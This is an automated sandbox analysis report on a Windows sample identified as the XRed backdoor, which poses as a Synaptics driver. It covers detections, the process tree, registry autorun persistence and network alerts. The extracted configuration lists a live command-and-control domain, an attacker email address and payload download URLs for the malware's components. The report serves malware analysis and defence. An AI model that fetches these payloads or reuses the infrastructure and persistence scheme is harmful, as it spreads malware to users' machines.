Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1583474
MD5:	2756afc3782b185d3c05dd880a8e8313
SHA1:	82417bd86f1fb249e296bb6b073b560e47639dde
SHA256:	f05b2555733c2ae2ee5a39c1e7b7a833c0bbae64a020c42a5446274a2545d682
Tags:	exeuser-jstrosch
Infos:

Detection

XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the installation date of Windows

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 936 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2756AFC3782B185D3C05DD880A8E8313)

._cache_file.exe (PID: 524 cmdline: "C:\Users\user\Desktop\._cache_file.exe" MD5: 694F54BD227916B89FC3EB1DB53F0685)

Synaptics.exe (PID: 5484 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 5C4B663910D58434FF9FEFF5ADE763A9)

WerFault.exe (PID: 8992 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 14564 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 4340 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 3496 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

Synaptics.exe (PID: 7496 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 5C4B663910D58434FF9FEFF5ADE763A9)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
file.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\Documents\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\RCXF93C.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXF93C.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: file.exe PID: 936	JoeSecurity_XRed	Yara detected XRed	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.file.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 936, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 5484, TargetFilename: C:\Users\user\AppData\Local\Temp\tT5VZoGH.xlsm

Suricata Signatures

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:28:14.959059+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49726	142.250.185.78	443	TCP
2025-01-02T20:28:15.034247+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49727	142.250.185.78	443	TCP
2025-01-02T20:28:15.976523+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49736	142.250.185.78	443	TCP
2025-01-02T20:28:16.256076+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49739	142.250.185.78	443	TCP
2025-01-02T20:28:17.088993+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49747	142.250.185.78	443	TCP
2025-01-02T20:28:17.341759+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49748	142.250.185.78	443	TCP
2025-01-02T20:28:18.176329+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49759	142.250.185.78	443	TCP
2025-01-02T20:28:18.473419+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49765	142.250.185.78	443	TCP
2025-01-02T20:28:19.652784+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49779	142.250.185.78	443	TCP
2025-01-02T20:28:19.768763+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49780	142.250.185.78	443	TCP
2025-01-02T20:28:20.865876+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49789	142.250.185.78	443	TCP
2025-01-02T20:28:20.870409+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49794	142.250.185.78	443	TCP
2025-01-02T20:28:22.182615+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49803	142.250.185.78	443	TCP
2025-01-02T20:28:22.182623+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49805	142.250.185.78	443	TCP
2025-01-02T20:28:23.708353+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49824	142.250.185.78	443	TCP
2025-01-02T20:28:23.823423+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49823	142.250.185.78	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:28:15.415967+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.6	49735	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe	Avira: detected
Source: file.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SUpdate.ini0	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rard	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCXF93C.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXF93C.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: file.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCXF93C.tmp	ReversingLabs: Detection: 94%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 94%
Source: C:\Users\user\Documents\~$cache1	ReversingLabs: Detection: 94%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 94%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.2% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXF93C.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\~$cache1	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50267 version: TLS 1.2

Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\Win32\wrap_oal.pdbd source: ._cache_file.exe, 00000002.00000003.2184308603.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\x64\wrap_oal.pdbx source: ._cache_file.exe, 00000002.00000003.2185379513.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new0.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Router\Release\x64\OpenAL32.pdb! source: ._cache_file.exe, 00000002.00000003.2185066858.0000000002341000.00000004.00000020.00020000.00000000.sdmp, OpenAL32.new0.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\Win32\wrap_oal.pdb source: ._cache_file.exe, 00000002.00000003.2184308603.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\x64\wrap_oal.pdb source: ._cache_file.exe, 00000002.00000003.2185379513.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new0.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Router\Release\Win32\OpenAL32.pdb source: ._cache_file.exe, 00000002.00000003.2184021142.0000000002341000.00000004.00000020.00020000.00000000.sdmp, OpenAL32.new.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Installer\Release\oalinst.pdb source: file.exe, ._cache_file.exe.0.dr, tmpB6D.tmp.2.dr, tmpBBC.tmp.2.dr, ._cache_file.exe.2.dr, Synaptics.exe.0.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Router\Release\x64\OpenAL32.pdb source: ._cache_file.exe, 00000002.00000003.2185066858.0000000002341000.00000004.00000020.00020000.00000000.sdmp, OpenAL32.new0.2.dr

Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: file.exe	Binary or memory string: [autorun]
Source: file.exe	Binary or memory string: [autorun]
Source: file.exe	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf
Source: RCXF93C.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXF93C.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXF93C.tmp.0.dr	Binary or memory string: autorun.inf
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 1MB later: 68MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.6:49735 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49736 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49726 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49747 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49739 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49727 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49748 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49765 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49789 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49759 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49780 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49803 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49779 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49823 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49805 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49824 -> 142.250.185.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49794 -> 142.250.185.78:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View

IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
